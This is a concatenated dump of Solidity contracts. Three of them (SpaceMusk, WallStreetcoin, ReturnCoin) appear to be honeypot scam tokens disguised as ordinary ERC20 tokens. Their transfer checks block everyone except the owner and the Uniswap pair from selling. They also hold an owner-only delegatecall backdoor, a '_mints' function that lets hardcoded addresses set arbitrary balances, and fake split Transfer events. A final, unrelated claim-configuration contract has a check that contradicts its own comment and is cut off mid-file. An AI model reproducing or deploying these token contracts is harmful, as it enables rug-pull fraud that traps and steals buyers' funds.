pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract SpaceMusk { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* WallStreet coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract WallStreetcoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* Return Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ReturnCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
{{ "language": "Solidity", "sources": { "contracts/ClaimConfig.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.3;\n\nimport \"./utils/SafeMath.sol\";\nimport \"./utils/Ownable.sol\";\nimport \"./interfaces/IClaimConfig.sol\";\nimport \"./interfaces/IProtocol.sol\";\n\n/**\n * @title Config for ClaimManagement contract\n * @author Alan\n */\ncontract ClaimConfig is IClaimConfig, Ownable {\n using SafeMath for uint256;\n \n bool public override allowPartialClaim = true;\n\n address public override auditor;\n address public override governance;\n address public override treasury;\n address public override protocolFactory;\n \n // The max time allowed from filing a claim to a decision made\n uint256 public override maxClaimDecisionWindow = 7 days;\n uint256 public override baseClaimFee = 10e18;\n uint256 public override forceClaimFee = 500e18;\n uint256 public override feeMultiplier = 2;\n\n // protocol => claim fee\n mapping(address => uint256) private protocolClaimFee;\n\n IERC20 public override feeCurrency = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n\n modifier onlyGovernance() {\n require(msg.sender == governance, \"COVER_CC: !governance\");\n _;\n }\n\n /**\n * @notice Set the address of governance\n * @dev Governance address cannot be set to owner or 0 address\n */\n function setGovernance(address _governance) external override onlyGovernance {\n require(_governance != address(0), \"COVER_CC: governance cannot be 0\");\n require(_governance != owner(), \"COVER_CC: governance cannot be owner\");\n governance = _governance;\n }\n\n /**\n * @notice Set the address of treasury\n */\n function setTreasury(address _treasury) external override onlyOwner {\n require(_treasury != address(0), \"COVER_CC: treasury cannot be 0\");\n treasury = _treasury;\n }\n\n /**\n * @notice Set max time window allowed to decide a claim after filed, requires at least 3 days for voting\n */\n function setMaxClaimDecisionWindow(uint256 _newTimeWindow) external override onlyOwner {\n require(_newTimeWindow < 3 days, \"COVER_CC: window too short\");\n maxClaimDecisionWindow = _newTimeWindow;\n }\n\n /**\n * @notice Set the status and address of auditor\n */\n function setAuditor(address _auditor) external override onlyOwner {\n auditor = _auditor;\n }\n\n /**\n * @notice Set the status of allowing partial claims\n */\n function setPartialClaimStatus(bool _allowPartialClaim) external override onlyOwner {\n allowPartialClaim = _allowPartialClaim;\n }\n\n /**\n * @notice Set fees and currency of filing a claim\n * @dev `_forceClaimFee` must be > `_baseClaimFee`\n */\n function setFeeAndCurrency(uint256 _baseClaimFee, uint256 _forceClaimFee, address _currency)\n external \n override \n onlyGovernance \n {\n require(_baseClaimFee > 0, \"COVER_CC: baseClaimFee <= 0\");\n require(_forceClaimFee > _baseClaimFee, \"COVER_CC: forceClaimFee <= baseClaimFee\");\n require(_currency != address(0), \"COVER_CC: feeCurrency cannot be 0\");\n baseClaimFee = _baseClaimFee;\n forceClaimFee = _forceClaimFee;\n feeCurrency = IERC20(_currency);\n }\n\n /**\n * @notice Set the fee multiplier to `_multiplier`\n * @dev `_multiplier` must be atleast 1\n */\n function setFeeMultiplier(uint256 _multiplier) external override onlyGovernance {\n require(_multiplier >= 1, \"COVER_CC: multiplier < 1\");\n feeMultiplier = _multiplier;\n }\n\n /**\n * @notice Get status of auditor voting\n * @dev Returns false if `auditor` is 0\n * @return status of auditor voting in decideClaim\n */\n function isAuditorVoting() public view override returns (bool) {\n return auditor != address(0);\n }\n\n /**\n * @notice Get the claim fee for protocol `_protocol`\n * @dev Will return `baseClaimFee` if fee is 0\n * @return fee for filing a claim for protocol\n */\n function getProtocolClaimFee(address _protocol) public view override returns (uint256) {\n return protocolClaimFee[_protocol] == 0 ? baseClaimFee : protocolClaimFee[_protocol];\n }\n\n /**\n * @notice Get the time window allowed to file after an incident happened\n * @dev it is calculated based on the noclaimRedeemDelay of the protocol - (maxClaimDecisionWindow) - 1hour\n * @return time window\n */\n function getFileClaimWindow(address _protocol) public view override returns (uint256) {\n uint256 noclaimRedeemDelay = IProtocol(_protocol).noclaimRedeemDelay();\n return noclaimRedeemDelay.sub(maxClaimDecisionWindow).sub(1 hours);\n }\n\n /**\n * @notice Updates fee for protocol `_protocol` by multiplying current fee by `feeMultiplier`\n * @dev protocolClaimFee[protocol] cannot exceed `baseClaimFee`\n */\n function _updateProtocolClaimFee(address _protocol) internal {\n uint256 newFee = getProtocolClaimFee(_protocol).mul(feeMultiplier);\n if (newFee <= forceClaimFee) {\n protocolClaimFee[_protocol] = newFee;\n }\n }\n\n /**\n * @notice Resets fee for protocol `_protocol` to `baseClaimFee`\n */\n function _resetProtocolClaimFee(address _protocol) internal {\n protocolClaimFee[_protocol] = baseClaimFee;\n }\n}" }, "contracts/utils/SafeMath.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations with added overflow\n * checks.\n *\n * Arithmetic operations in Solidity wrap on overflow. This can easily result\n * in bugs, because programmers usually assume that an overflow raises an\n * error, which is the standard behavior in high level programming languages.\n * `SafeMath` restores this intuition by reverting the transaction when an\n * operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeMath {\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `+` operator.\n *\n * Requirements:\n *\n * - Addition cannot overflow.\n */\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `*` operator.\n *\n * Requirements:\n *\n * - Multiplication cannot overflow.\n */\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers. Reverts on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\n\n return c;\n 